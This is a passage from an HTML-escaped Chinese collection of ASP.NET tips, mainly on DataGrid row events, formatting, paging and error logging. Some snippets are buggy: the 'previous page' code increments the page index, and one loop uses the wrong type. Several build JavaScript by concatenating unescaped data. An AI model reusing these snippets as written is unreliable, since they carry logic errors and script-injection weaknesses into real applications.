&gt;}&lt;br /&gt;　　5.点击表格行链接另一页&lt;/p &gt;&lt;p &gt;private void grdCustomer_ItemDataBound(object sender, System.Web.UI.WebControls.DataGridItemEventArgs e)&lt;br /&gt;{&lt;br /&gt;　//点击表格打开&lt;br /&gt;　if (e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem)&lt;br /&gt;　　e.Item.Attributes.Add("onclick","window.open(’Default.aspx?id=" + e.Item.Cells[0].Text + "’);");&lt;br /&gt;}&lt;br /&gt;　　双击表格连接到另一页&lt;/p &gt;&lt;p &gt;　　在itemDataBind事件中&lt;/p &gt;&lt;p &gt;if(e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem)&lt;br /&gt;{&lt;br /&gt;　string OrderItemID =e.item.cells[1].Text;&lt;br /&gt;　...&lt;br /&gt;　e.item.Attributes.Add("ondblclick", "location.href=’../ShippedGrid.aspx?id=" + OrderItemID + "’");&lt;br /&gt;}&lt;br /&gt;　　双击表格打开新一页&lt;/p &gt;&lt;p &gt;if(e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem)&lt;br /&gt;{&lt;br /&gt;　string OrderItemID =e.item.cells[1].Text;&lt;br /&gt;　...&lt;br /&gt;　e.item.Attributes.Add("ondblclick", "open(’../ShippedGrid.aspx?id=" + OrderItemID + "’)");&lt;br /&gt;}&lt;br /&gt;　　★特别注意：【?id=】 处不能为 【?id =】&lt;br /&gt;6.表格超连接列传递参数&lt;/p &gt;&lt;p &gt;＜asp:HyperLinkColumn Target="_blank" headertext="ID号" DataTextField="id" NavigateUrl="aaa.aspx?id=’&lt;br /&gt;　＜%# DataBinder.Eval(Container.DataItem, "数据字段1")%＞’ &amp;amp; name=’＜%# DataBinder.Eval(Container.DataItem, "数据字段2")%＞’ /＞&lt;br /&gt;　　7.表格点击改变颜色&lt;/p &gt;&lt;p &gt;if (e.Item.ItemType == ListItemType.Item ||e.Item.ItemType == ListItemType.AlternatingItem)&lt;br /&gt;{&lt;br /&gt;　e.Item.Attributes.Add("onclick","this.style.backgroundColor=’#99cc00’;&lt;br /&gt;　　　 this.style.color=’buttontext’;this.style.cursor=’default’;");&lt;br /&gt;} &lt;br /&gt;　　写在DataGrid的_ItemDataBound里&lt;/p &gt;&lt;p &gt;if (e.Item.ItemType == ListItemType.Item ||e.Item.ItemType == ListItemType.AlternatingItem)&lt;br /&gt;{&lt;br /&gt;e.Item.Attributes.Add("onmouseover","this.style.backgroundColor=’#99cc00’;&lt;br /&gt;　　　this.style.color=’buttontext’;this.style.cursor=’default’;");&lt;br /&gt;e.Item.Attributes.Add("onmouseout","this.style.backgroundColor=’’;this.style.color=’’;");&lt;br /&gt;}&lt;/p &gt;&lt;p &gt;　　8.关于日期格式&lt;/p &gt;&lt;p &gt;　　日期格式设定&lt;/p &gt;&lt;p &gt;DataFormatString="{0:yyyy-MM-dd}"&lt;br /&gt;　　我觉得应该在itembound事件中&lt;/p &gt;&lt;p &gt;e.items.cell["你的列"].text=DateTime.Parse(e.items.cell["你的列"].text.ToString("yyyy-MM-dd"))&lt;br /&gt;　　9.获取错误信息并到指定页面&lt;/p &gt;&lt;p &gt;　　不要使用Response.Redirect,而应该使用Server.Transfer&lt;/p &gt;&lt;p &gt;　　e.g&lt;/p &gt;&lt;p &gt;// in global.asax&lt;br /&gt;protected void Application_Error(Object sender, EventArgs e) {&lt;br /&gt;if (Server.GetLastError() is HttpUnhandledException)&lt;br /&gt;Server.Transfer("MyErrorPage.aspx");&lt;/p &gt;&lt;p &gt;//其余的非HttpUnhandledException异常交给ASP.NET自己处理就okay了 :)&lt;br /&gt;}&lt;br /&gt;　　Redirect会导致post－back的产生从而丢失了错误信息，所以页面导向应该直接在服务器端执行，这样就可以在错误处理页面得到出错信息并进行相应的处理 &lt;/p &gt;&lt;p &gt;　　10.清空Cookie&lt;/p &gt;&lt;p &gt;Cookie.Expires=[DateTime];&lt;br /&gt;Response.Cookies("UserName").Expires = 0&lt;br /&gt;　　11.自定义异常处理&lt;/p &gt;&lt;p &gt;//自定义异常处理类 &lt;br /&gt;using System;&lt;br /&gt;using System.Diagnostics;&lt;/p &gt;&lt;p &gt;namespace MyAppException&lt;br /&gt;{&lt;br /&gt;　/// ＜summary＞&lt;br /&gt;　/// 从系统异常类ApplicationException继承的应用程序异常处理类。&lt;br /&gt;　/// 自动将异常内容记录到Windows NT/2000的应用程序日志&lt;br /&gt;　/// ＜/summary＞&lt;br /&gt;　public class AppException:System.ApplicationException&lt;br /&gt;　{&lt;br /&gt;　　public AppException()&lt;br /&gt;　　{&lt;br /&gt;　　　if (ApplicationConfiguration.EventLogEnabled)LogEvent("出现一个未知错误。");&lt;br /&gt;　　}&lt;/p &gt;&lt;p &gt;　public AppException(string message)&lt;br /&gt;　{&lt;br /&gt;　　LogEvent(message);&lt;br /&gt;　}&lt;/p &gt;&lt;p &gt;　public AppException(string message,Exception innerException)&lt;br /&gt;　{&lt;br /&gt;　　LogEvent(message);&lt;br /&gt;　　if (innerException != null)&lt;br /&gt;　　{&lt;br /&gt;　　　LogEvent(innerException.Message);&lt;br /&gt;　　}&lt;br /&gt;　}&lt;/p &gt;&lt;p &gt;　//日志记录类&lt;br /&gt;　using System;&lt;br /&gt;　using System.Configuration;&lt;br /&gt;　using System.Diagnostics;&lt;br /&gt;　using System.IO;&lt;br /&gt;　using System.Text;&lt;br /&gt;　using System.Threading;&lt;/p &gt;&lt;p &gt;　namespace MyEventLog&lt;br /&gt;　{&lt;br /&gt;　　/// ＜summary＞&lt;br /&gt;　　/// 事件日志记录类，提供事件日志记录支持 &lt;br /&gt;　　/// ＜remarks＞&lt;br /&gt;　　/// 定义了4个日志记录方法 (error, warning, info, trace) &lt;br /&gt;　　/// ＜/remarks＞&lt;br /&gt;　　/// ＜/summary＞&lt;br /&gt;　　public class ApplicationLog&lt;br /&gt;　　{&lt;br /&gt;　　　/// ＜summary＞&lt;br /&gt;　　　/// 将错误信息记录到Win2000/NT事件日志中&lt;br /&gt;　　　/// ＜param name="message"＞需要记录的文本信息＜/param＞&lt;br /&gt;　　　/// ＜/summary＞&lt;br /&gt;　　　public static void WriteError(String message)&lt;br /&gt;　　　{&lt;br /&gt;　　　　WriteLog(TraceLevel.Error, message);&lt;br /&gt;　　　}&lt;/p &gt;&lt;p &gt;　　　/// ＜summary＞&lt;br /&gt;　　　/// 将警告信息记录到Win2000/NT事件日志中&lt;br /&gt;　　　/// ＜param name="message"＞需要记录的文本信息＜/param＞&lt;br /&gt;　　　/// ＜/summary＞&lt;br /&gt;　　　public static void WriteWarning(String message)&lt;br /&gt;　　　{&lt;br /&gt;　　　　WriteLog(TraceLevel.Warning, message);　　&lt;br /&gt;　　　}&lt;/p &gt;&lt;p &gt;　　　/// ＜summary＞&lt;br /&gt;　　　/// 将提示信息记录到Win2000/NT事件日志中&lt;br /&gt;　　　/// ＜param name="message"＞需要记录的文本信息＜/param＞&lt;br /&gt;　　　/// ＜/summary＞&lt;br /&gt;　　　public static void WriteInfo(String message)&lt;br /&gt;　　　{&lt;br /&gt;　　　　WriteLog(TraceLevel.Info, message);&lt;br /&gt;　　　}&lt;br /&gt;　　　/// ＜summary＞&lt;br /&gt;　　　/// 将跟踪信息记录到Win2000/NT事件日志中&lt;br /&gt;　　　/// ＜param name="message"＞需要记录的文本信息＜/param＞&lt;br /&gt;　　　/// ＜/summary＞&lt;br /&gt;　　　public static void WriteTrace(String message)&lt;br /&gt;　　　{&lt;br /&gt;　　　　WriteLog(TraceLevel.Verbose, message);&lt;br /&gt;　　　}&lt;/p &gt;&lt;p &gt;　　　/// ＜summary＞&lt;br /&gt;　　　/// 格式化记录到事件日志的文本信息格式&lt;br /&gt;　　　/// ＜param name="ex"＞需要格式化的异常对象＜/param＞&lt;br /&gt;　　　/// ＜param name="catchInfo"＞异常信息标题字符串.＜/param＞&lt;br /&gt;　　　/// ＜retvalue＞&lt;br /&gt;　　　/// ＜para＞格式后的异常信息字符串，包括异常内容和跟踪堆栈.＜/para＞&lt;br /&gt;　　　/// ＜/retvalue＞&lt;br /&gt;　　　/// ＜/summary＞&lt;br /&gt;　　　public static String FormatException(Exception ex, String catchInfo)&lt;br /&gt;　　　{&lt;br /&gt;　　　　StringBuilder strBuilder = new StringBuilder();&lt;br /&gt;　　　　if (catchInfo != String.Empty)&lt;br /&gt;　　　　{&lt;br /&gt;　　　　　strBuilder.Append(catchInfo).Append("\r\n");&lt;br /&gt;　　　　}&lt;br /&gt;　　　　strBuilder.Append(ex.Message).Append("\r\n").Append(ex.StackTrace);&lt;br /&gt;　　　　return strBuilder.ToString();&lt;br /&gt;　　　}&lt;/p &gt;&lt;p &gt;　　　/// ＜summary＞&lt;br /&gt;　　　/// 实际事件日志写入方法&lt;br /&gt;　　　/// ＜param name="level"＞要记录信息的级别（error,warning,info,trace).＜/param＞&lt;br /&gt;　　　/// ＜param name="messageText"＞要记录的文本.＜/param＞&lt;br /&gt;　　　/// ＜/summary＞&lt;br /&gt;　　　private static void WriteLog(TraceLevel level, String messageText)&lt;br /&gt;　　　{&lt;br /&gt;　　　　try&lt;br /&gt;　　　　{ &lt;br /&gt;　　　　　EventLogEntryType LogEntryType;&lt;br /&gt;　　　　　switch (level)&lt;br /&gt;　　　　　{&lt;br /&gt;　　　　　　case TraceLevel.Error:&lt;br /&gt;　　　　　　　LogEntryType = EventLogEntryType.Error;&lt;br /&gt;　　　　　　　break;&lt;br /&gt;　　　　　　case TraceLevel.Warning:&lt;br /&gt;　　　　　　　LogEntryType = EventLogEntryType.Warning;&lt;br /&gt;　　　　　　　break;&lt;br /&gt;　　　　　　case TraceLevel.Info:&lt;br /&gt;　　　　　　　LogEntryType = EventLogEntryType.Information;&lt;br /&gt;　　　　　　　break;&lt;br /&gt;　　　　　　case TraceLevel.Verbose:&lt;br /&gt;　　　　　　　LogEntryType = EventLogEntryType.SuccessAudit;&lt;br /&gt;　　　　　　　break;&lt;br /&gt;　　　　　　default:&lt;br /&gt;　　　　　　　LogEntryType = EventLogEntryType.SuccessAudit;&lt;br /&gt;　　　　　　　break;&lt;br /&gt;　　　　　}&lt;/p &gt;&lt;p &gt;　　　　　EventLog eventLog = new EventLog("Application", ApplicationConfiguration.EventLogMachineName, ApplicationConfiguration.EventLogSourceName );&lt;br /&gt;　　　　　//写入事件日志&lt;br /&gt;　　　　　eventLog.WriteEntry(messageText, LogEntryType);&lt;/p &gt;&lt;p &gt;　　　　}&lt;br /&gt;　　　catch {} //忽略任何异常&lt;br /&gt;　　} &lt;br /&gt;　} //class ApplicationLog&lt;br /&gt;}&lt;br /&gt;12.Panel 横向滚动，纵向自动扩展&lt;/p &gt;&lt;p &gt;＜asp:panel style="overflow-x:scroll;overflow-y:auto;"＞＜/asp:panel＞&lt;br /&gt;　　13.回车转换成Tab &lt;/p &gt;&lt;p &gt;＜script language="javascript" for="document" event="onkeydown"＞&lt;br /&gt;　if(event.keyCode==13 &amp;amp;&amp;amp; event.srcElement.type!=’button’ &amp;amp;&amp;amp; event.srcElement.type!=’submit’ &amp;amp;&amp;amp; 　　　　event.srcElement.type!=’reset’ &amp;amp;&amp;amp; event.srcElement.type!=’’&amp;amp;&amp;amp; event.srcElement.type!=’textarea’); &lt;br /&gt;　　　event.keyCode=9;&lt;br /&gt;＜/script＞&lt;/p &gt;&lt;p &gt;onkeydown="if(event.keyCode==13) event.keyCode=9"&lt;/p &gt;&lt;p &gt;　　14.DataGrid超级连接列&lt;/p &gt;&lt;p &gt;DataNavigateUrlField="字段名" DataNavigateUrlFormatString="&lt;a href="http://xx/inc/delete.aspx?ID={0" &gt;http://xx/inc/delete.aspx?ID={0&lt;/a &gt;}"&lt;br /&gt;　　15.DataGrid行随鼠标变色&lt;/p &gt;&lt;p &gt;private void DGzf_ItemDataBound(object sender, System.Web.UI.WebControls.DataGridItemEventArgs e)&lt;br /&gt;{&lt;br /&gt;　if (e.Item.ItemType!=ListItemType.Header)&lt;br /&gt;　{&lt;br /&gt;　　e.Item.Attributes.Add( "onmouseout","this.style.backgroundColor=\""+e.Item.Style["BACKGROUND-COLOR"]+"\"");&lt;br /&gt;　　e.Item.Attributes.Add( "onmouseover","this.style.backgroundColor=\""+ "#EFF3F7"+"\"");&lt;br /&gt;　}&lt;br /&gt;}&lt;br /&gt;　　16.模板列&lt;/p &gt;&lt;p &gt;＜ASP:TEMPLATECOLUMN visible="False" sortexpression="demo" headertext="ID"＞&lt;br /&gt;＜ITEMTEMPLATE＞&lt;br /&gt;＜ASP:LABEL text=’＜%# DataBinder.Eval(Container.DataItem, "ArticleID")%＞’ runat="server" width="80%" id="lblColumn" /＞&lt;br /&gt;＜/ITEMTEMPLATE＞&lt;br /&gt;＜/ASP:TEMPLATECOLUMN＞&lt;/p &gt;&lt;p &gt;＜ASP:TEMPLATECOLUMN headertext="选中"＞&lt;br /&gt;＜HEADERSTYLE wrap="False" horizontalalign="Center"＞＜/HEADERSTYLE＞&lt;br /&gt;＜ITEMTEMPLATE＞&lt;br /&gt;＜ASP:CHECKBOX id="chkExport" runat="server" /＞&lt;br /&gt;＜/ITEMTEMPLATE＞&lt;br /&gt;＜EDITITEMTEMPLATE＞&lt;br /&gt;＜ASP:CHECKBOX id="chkExportON" runat="server" enabled="true" /＞&lt;br /&gt;＜/EDITITEMTEMPLATE＞&lt;br /&gt;＜/ASP:TEMPLATECOLUMN＞&lt;br /&gt;　　后台代码&lt;/p &gt;&lt;p &gt;protected void CheckAll_CheckedChanged(object sender, System.EventArgs e)&lt;br /&gt;{&lt;br /&gt;　//改变列的选定，实现全选或全不选。&lt;br /&gt;　CheckBox chkExport ;&lt;br /&gt;　if( CheckAll.Checked)&lt;br /&gt;　{&lt;br /&gt;　　foreach(DataGridItem oDataGridItem in MyDataGrid.Items)&lt;br /&gt;　　{&lt;br /&gt;　　　chkExport = (CheckBox)oDataGridItem.FindControl("chkExport");&lt;br /&gt;　　　chkExport.Checked = true;&lt;br /&gt;　　}&lt;br /&gt;　}&lt;br /&gt;　else&lt;br /&gt;　{&lt;br /&gt;　　foreach(DataGridItem oDataGridItem in MyDataGrid.Items)&lt;br /&gt;　　{&lt;br /&gt;　　　chkExport = (CheckBox)oDataGridItem.FindControl("chkExport");&lt;br /&gt;　　　chkExport.Checked = false;&lt;br /&gt;　　}&lt;br /&gt;　}&lt;br /&gt;}&lt;br /&gt;　　17.数字格式化&lt;/p &gt;&lt;p &gt;　　【＜%#Container.DataItem("price")%＞的结果是500.0000，怎样格式化为500.00?】&lt;/p &gt;&lt;p &gt;＜%#Container.DataItem("price","{0:￥#,##0.00}")%＞&lt;/p &gt;&lt;p &gt;int i=123456;&lt;br /&gt;string s=i.ToString("###,###.00");&lt;br /&gt;18.日期格式化&lt;/p &gt;&lt;p &gt;　　【aspx页面内：＜%# DataBinder.Eval(Container.DataItem,"Company_Ureg_Date")%＞&lt;/p &gt;&lt;p &gt;　　显示为： 2004-8-11 19:44:28&lt;/p &gt;&lt;p &gt;　　我只想要：2004-8-11 】&lt;/p &gt;&lt;p &gt;＜%# DataBinder.Eval(Container.DataItem,"Company_Ureg_Date","{0:yyyy-M-d}")%＞&lt;br /&gt;　　应该如何改？&lt;/p &gt;&lt;p &gt;　　【格式化日期】&lt;/p &gt;&lt;p &gt;　　取出来,一般是object((DateTime)objectFromDB).ToString("yyyy-MM-dd");&lt;/p &gt;&lt;p &gt;　　【日期的验证表达式】&lt;/p &gt;&lt;p &gt;　　A.以下正确的输入格式： [2004-2-29], [2004-02-29 10:29:39 pm], [2004/12/31] &lt;/p &gt;&lt;p &gt;^((\d{2}(([02468][048])|([13579][26]))[\-\/\s]?((((0?[13578])|(1[02]))[\-\/\s]?((0?[1-9])|([1-2][0-9])|(3[01])))|(((0?[469])|(11))[\-\/\s]?((0?[1-9])|([1-2][0-9])|(30)))|(0?2[\-\/\s]?((0?[1-9])|([1-2][0-9])))))|(\d{2}(([02468][1235679])|([13579][01345789]))[\-\/\s]?((((0?[13578])|(1[02]))[\-\/\s]?((0?[1-9])|([1-2][0-9])|(3[01])))|(((0?[469])|(11))[\-\/\s]?((0?[1-9])|([1-2][0-9])|(30)))|(0?2[\-\/\s]?((0?[1-9])|(1[0-9])|(2[0-8]))))))(\s(((0?[1-9])|(1[0-2]))\:([0-5][0-9])((\s)|(\:([0-5][0-9])\s))([AM|PM|am|pm]{2,2})))?$&lt;br /&gt;　　B.以下正确的输入格式：[0001-12-31], [9999 09 30], [2002/03/03] &lt;/p &gt;&lt;p &gt;^\d{4}[\-\/\s]?((((0[13578])|(1[02]))[\-\/\s]?(([0-2][0-9])|(3[01])))|(((0[469])|(11))[\-\/\s]?(([0-2][0-9])|(30)))|(02[\-\/\s]?[0-2][0-9]))$ &lt;br /&gt;　　【大小写转换】&lt;/p &gt;&lt;p &gt;HttpUtility.HtmlEncode(string);&lt;br /&gt;HttpUtility.HtmlDecode(string)&lt;br /&gt;　　19.如何设定全局变量&lt;/p &gt;&lt;p &gt;　　Global.asax中&lt;/p &gt;&lt;p &gt;　　Application_Start()事件中&lt;/p &gt;&lt;p &gt;　　添加Application[属性名] ＝ xxx;&lt;/p &gt;&lt;p &gt;　　就是你的全局变量&lt;/p &gt;&lt;p &gt;　　20.怎样作到HyperLinkColumn生成的连接后，点击连接，打开新窗口？&lt;/p &gt;&lt;p &gt;　　HyperLinkColumn有个属性Target,将器值设置成"_blank"即可.(Target="_blank")&lt;/p &gt;&lt;p &gt;　　【ASPNETMENU】点击菜单项弹出新窗口&lt;/p &gt;&lt;p &gt;　　在你的menuData.xml文件的菜单项中加入URLTarget="_blank"，如：&lt;/p &gt;&lt;p &gt;＜?xml version="1.0" encoding="GB2312"?＞&lt;br /&gt;＜MenuData ImagesBaseURL="images/"＞ &lt;br /&gt;＜MenuGroup＞&lt;br /&gt;＜MenuItem Label="内参信息" URL="Infomation.aspx" ＞&lt;br /&gt;＜MenuGroup ID="BBC"＞&lt;br /&gt;＜MenuItem Label="公告信息" URL="Infomation.aspx" URLTarget="_blank" LeftIcon="file.gif"/＞&lt;br /&gt;＜MenuItem Label="编制信息简报" URL="NewInfo.aspx" LeftIcon="file.gif" /＞&lt;br /&gt;......&lt;br /&gt;　　最好将你的aspnetmenu升级到1.2版&lt;/p &gt;&lt;p &gt;　　21.读取DataGrid控件TextBox值&lt;/p &gt;&lt;p &gt;foreach(DataGrid dgi in yourDataGrid.Items)&lt;br /&gt;{&lt;br /&gt;　TextBox tb = (TextBox)dgi.FindControl("yourTextBoxId");&lt;br /&gt;　tb.Text....&lt;br /&gt;}&lt;br /&gt;　　23.在DataGrid中有3个模板列包含Textbox分别为 DG_ShuLiang (数量) DG_DanJian(单价) DG_JinE(金额)分别在5.6.7列，要求在录入数量及单价的时候自动算出金额即:数量*单价=金额还要求录入时限制为 数值型.我如何用客户端脚本实现这个功能?&lt;/p &gt;&lt;p &gt;　　〖思归〗&lt;/p &gt;&lt;p &gt;＜asp:TemplateColumn HeaderText="数量"＞ &lt;br /&gt;＜ItemTemplate＞&lt;br /&gt;＜asp:TextBox id="ShuLiang" runat=’server’ Text=’＜%# DataBinder.Eval(Container.DataItem,"DG_ShuLiang")%＞’ &lt;br /&gt;onkeyup="javascript:DoCal()"&lt;br /&gt;/＞&lt;/p &gt;&lt;p &gt;＜asp:RegularExpressionValidator id="revS" runat="server" ControlToValidate="ShuLiang" ErrorMessage="must be integer" ValidationExpression="^\d+$" /＞&lt;br /&gt;＜/ItemTemplate＞&lt;br /&gt;＜/asp:TemplateColumn＞&lt;/p &gt;&lt;p &gt;＜asp:TemplateColumn HeaderText="单价"＞ &lt;br /&gt;＜ItemTemplate＞&lt;br /&gt;＜asp:TextBox id="DanJian" runat=’server’ Text=’＜%# DataBinder.Eval(Container.DataItem,"DG_DanJian")%＞’ &lt;br /&gt;onkeyup="javascript:DoCal()"&lt;br /&gt;/＞&lt;/p &gt;&lt;p &gt;＜asp:RegularExpressionValidator id="revS2" runat="server" ControlToValidate="DanJian" ErrorMessage="must be numeric" ValidationExpression="^\d+(\.\d*)?$" /＞&lt;/p &gt;&lt;p &gt;＜/ItemTemplate＞&lt;br /&gt;＜/asp:TemplateColumn＞&lt;/p &gt;&lt;p &gt;＜asp:TemplateColumn HeaderText="金额"＞ &lt;br /&gt;＜ItemTemplate＞&lt;br /&gt;＜asp:TextBox id="JinE" runat=’server’ Text=’＜%# DataBinder.Eval(Container.DataItem,"DG_JinE")%＞’ /＞&lt;br /&gt;＜/ItemTemplate＞&lt;br /&gt;＜/asp:TemplateColumn＞＜script language="javascript"＞&lt;br /&gt;function DoCal()&lt;br /&gt;{&lt;br /&gt;　var e = event.srcElement;&lt;br /&gt;　var row = e.parentNode.parentNode;&lt;br /&gt;　var txts = row.all.tags("INPUT");&lt;br /&gt;　if (!txts.length || txts.length ＜ 3)&lt;br /&gt;　　return;&lt;/p &gt;&lt;p &gt;　var q = txts[txts.length-3].value;&lt;br /&gt;　var p = txts[txts.length-2].value;&lt;/p &gt;&lt;p &gt;　if (isNaN(q) || isNaN(p))&lt;br /&gt;　　return;&lt;/p &gt;&lt;p &gt;　q = parseInt(q);&lt;br /&gt;　p = parseFloat(p);&lt;/p &gt;&lt;p &gt;　txts[txts.length-1].value = (q * p).toFixed(2);&lt;br /&gt;}&lt;br /&gt;＜/script＞&lt;/p &gt;&lt;p &gt;24.datagrid选定比较底下的行时，为什么总是刷新一下，然后就滚动到了最上面，刚才选定的行因屏幕的关系就看不到了。&lt;/p &gt;&lt;p &gt;page_load &lt;br /&gt;page.smartNavigation=true&lt;br /&gt;　　25.在Datagrid中修改数据，当点击编辑键时，数据出现在文本框中，怎么控制文本框的大小 ? &lt;/p &gt;&lt;p &gt;private void DataGrid1_ItemDataBound(obj sender,DataGridItemEventArgs e)&lt;br /&gt;{&lt;br /&gt;　for(int i=0;i＜e.Item.Cells.Count-1;i++)&lt;br /&gt;　　if(e.Item.ItemType==ListItemType.EditType)&lt;br /&gt;　　{&lt;br /&gt;　　　e.Item.Cells[i].Attributes.Add("Width", "80px")&lt;br /&gt;　　} &lt;br /&gt;}&lt;br /&gt;　　26.对话框&lt;/p &gt;&lt;p &gt;private static string ScriptBegin = "＜script language=\"JavaScript\"＞";&lt;br /&gt;private static string ScriptEnd = "＜/script＞";&lt;/p &gt;&lt;p &gt;public static void ConfirmMessageBox(string PageTarget,string Content)&lt;br /&gt;{&lt;br /&gt;　string ConfirmContent="var retValue=window.confirm(’"+Content+"’);"+"if(retValue){window.location=’"+PageTarget+"’;}";&lt;/p &gt;&lt;p &gt;　ConfirmContent=ScriptBegin + ConfirmContent + ScriptEnd;&lt;/p &gt;&lt;p &gt;　Page ParameterPage = (Page)System.Web.HttpContext.Current.Handler;&lt;br /&gt;　ParameterPage.RegisterStartupScript("confirm",ConfirmContent);&lt;br /&gt;　//Response.Write(strScript);&lt;br /&gt;}&lt;br /&gt;　　27. 将时间格式化：string aa=DateTime.Now.ToString("yyyy年MM月dd日"); &lt;/p &gt;&lt;p &gt;　　1.1 取当前年月日时分秒 &lt;/p &gt;&lt;p &gt;currentTime=System.DateTime.Now;&lt;br /&gt;　　1.2 取当前年 &lt;/p &gt;&lt;p &gt;int 年= DateTime.Now.Year;&lt;br /&gt;　　1.3 取当前月 &lt;/p &gt;&lt;p &gt;int 月= DateTime.Now.Month; &lt;br /&gt;　　1.4 取当前日 &lt;/p &gt;&lt;p &gt;int 日= DateTime.Now.Day; &lt;br /&gt;　　1.5 取当前时 &lt;/p &gt;&lt;p &gt;int 时= DateTime.Now.Hour; &lt;br /&gt;　　1.6 取当前分 &lt;/p &gt;&lt;p &gt;int 分= DateTime.Now.Minute; &lt;br /&gt;　　1.7 取当前秒 &lt;/p &gt;&lt;p &gt;int 秒= DateTime.Now.Second; &lt;br /&gt;　　1.8 取当前毫秒 &lt;/p &gt;&lt;p &gt;int 毫秒= DateTime.Now.Millisecond; &lt;br /&gt;　　28．自定义分页代码：&lt;/p &gt;&lt;p &gt;　　先定义变量 ：&lt;/p &gt;&lt;p &gt;public static int pageCount; //总页面数 &lt;br /&gt;public static int curPageIndex=1; //当前页面 &lt;br /&gt;　　下一页： &lt;/p &gt;&lt;p &gt;if(DataGrid1.CurrentPageIndex ＜ (DataGrid1.PageCount - 1)) &lt;br /&gt;{ &lt;br /&gt;　DataGrid1.CurrentPageIndex += 1; &lt;br /&gt;　curPageIndex+=1; &lt;br /&gt;} &lt;/p &gt;&lt;p &gt;bind(); // DataGrid1数据绑定函数 &lt;br /&gt;　　上一页： &lt;/p &gt;&lt;p &gt;if(DataGrid1.CurrentPageIndex ＞0) &lt;br /&gt;{ &lt;br /&gt;　DataGrid1.CurrentPageIndex += 1; &lt;br /&gt;　curPageIndex-=1; &lt;br /&gt;} &lt;/p &gt;&lt;p &gt;bind(); // DataGrid1数据绑定函数 &lt;br /&gt;　　直接页面跳转： &lt;/p &gt;&lt;p &gt;int a=int.Parse(JumpPage.Value.Trim());//JumpPage.Value.Trim()为跳转值 &lt;/p &gt;&lt;p &gt;if(a＜DataGrid1.PageCount) &lt;br /&gt;{ &lt;br /&gt;　this.DataGrid1.CurrentPageIndex=a; &lt;br /&gt;} &lt;/p &gt;&lt;p &gt;bind(); &lt;br /&gt;29．DataGrid使用： &lt;/p &gt;&lt;p &gt;　　添加删除确认： &lt;/p &gt;&lt;p &gt;private void DataGrid1_ItemCreated(object sender, System.Web.UI.WebControls.DataGridItemEventArgs e) &lt;br /&gt;{ &lt;br /&gt;　foreach(DataGridItem di in this.DataGrid1.Items) &lt;br /&gt;　{ &lt;br /&gt;　　if(di.ItemType==ListItemType.Item||di.ItemType==ListItemType.AlternatingItem) &lt;br /&gt;　　{ &lt;br /&gt;　　　((LinkButton)di.Cells[8].Controls[0]).Attributes.Add("onclick","return confirm(’确认删除此项吗?’);"); &lt;br /&gt;　　} &lt;br /&gt;　} &lt;br /&gt;} &lt;br /&gt;　　样式交替： &lt;/p &gt;&lt;p &gt;ListItemType itemType = e.Item.ItemType; &lt;/p &gt;&lt;p &gt;if (itemType == ListItemType.Item ) &lt;br /&gt;{ &lt;br /&gt;　e.Item.Attributes["onmouseout"] = "javascript:this.style.backgroundColor=’#FFFFFF’;"; &lt;br /&gt;　e.Item.Attributes["onmouseover"] = "javascript:this.style.backgroundColor=’#d9ece1’;cursor=’hand’;" ; &lt;br /&gt;} &lt;br /&gt;else if( itemType == ListItemType.AlternatingItem) &lt;br /&gt;{ &lt;br /&gt;　e.Item.Attributes["onmouseout"] = "javascript:this.style.backgroundColor=’#a0d7c4’;"; &lt;br /&gt;　e.Item.Attributes["onmouseover"] = "javascript:this.style.backgroundColor=’#d9ece1’;cursor=’hand’;" ; &lt;br /&gt;} &lt;br /&gt;　　添加一个编号列： &lt;/p &gt;&lt;p &gt;DataTable dt= c.ExecuteRtnTableForAccess(sqltxt); //执行sql返回的DataTable &lt;br /&gt;DataColumn dc=dt.Columns.Add("number",System.Type.GetType("System.String")); &lt;/p &gt;&lt;p &gt;for(int i=0;i＜dt.Rows.Count;i++) &lt;br /&gt;{ &lt;br /&gt;　dt.Rows[i]["number"]=(i+1).ToString(); &lt;br /&gt;} &lt;/p &gt;&lt;p &gt;DataGrid1.DataSource=dt; &lt;br /&gt;DataGrid1.DataBind(); &lt;br /&gt;　　DataGrid1中添加一个CheckBox，页面中添加一个全选框 &lt;/p &gt;&lt;p &gt;private void CheckBox2_CheckedChanged(object sender, System.EventArgs e) &lt;br /&gt;{ &lt;br /&gt;　foreach(DataGridItem thisitem in DataGrid1.Items) &lt;br /&gt;　{ &lt;br /&gt;　　((CheckBox)thisitem.Cells[0].Controls[1]).Checked=CheckBox2.Checked; &lt;br /&gt;　} &lt;br /&gt;} &lt;br /&gt;　　将当前页面中DataGrid1显示的数据全部删除 &lt;/p &gt;&lt;p &gt;foreach(DataGridItem thisitem in DataGrid1.Items) &lt;br /&gt;{ &lt;br /&gt;　if(((CheckBox)thisitem.Cells[0].Controls[1]).Checked) &lt;br /&gt;　{ &lt;br /&gt;　　string strloginid= DataGrid1.DataKeys[thisitem.ItemIndex].ToString(); &lt;br /&gt;　　Del (strloginid); //删除函数 &lt;br /&gt;　} &lt;br /&gt;} &lt;br /&gt;　　30．当文件在不同目录下，需要获取数据库连接字符串（如果连接字符串放在Web.config，然后在Global.asax中初始化） &lt;/p &gt;&lt;p &gt;　　在Application_Start中添加以下代码： &lt;/p &gt;&lt;p &gt;Application["ConnStr"]=this.Context.Request.PhysicalApplicationPath+ConfigurationSettings.&lt;br /&gt;　　　AppSettings["ConnStr"].ToString();&lt;br /&gt;　　31． 变量.ToString() &lt;/p &gt;&lt;p &gt;　　字符型转换 转为字符串 &lt;/p &gt;&lt;p &gt;12345.ToString("n"); //生成 12,345.00 &lt;br /&gt;12345.ToString("C"); //生成 ￥12,345.00 &lt;br /&gt;12345.ToString("e"); //生成 1.234500e+004 &lt;br /&gt;12345.ToString("f4"); //生成 12345.0000 &lt;br /&gt;12345.ToString("x"); //生成 3039 (16进制) &lt;br /&gt;12345.ToString("p"); //生成 1,234,500.00% &lt;br /&gt;　　32、变量.Substring(参数1,参数2); &lt;/p &gt;&lt;p &gt;　　截取字串的一部分，参数1为左起始位数，参数2为截取几位。 如：string s1 = str.Substring(0,2); &lt;/p &gt;&lt;p &gt;　　33．在自己的网站上登陆其他网站：(如果你的页面是通过嵌套方式的话，因为一个页面只能有一个FORM，这时可以导向另外一个页面再提交登陆信息) &lt;/p &gt;&lt;p &gt;＜SCRIPT language="javascript"＞ &lt;br /&gt;＜!-- &lt;br /&gt;　function gook(pws) &lt;br /&gt;　{ &lt;br /&gt;　　frm.submit(); &lt;br /&gt;　} &lt;br 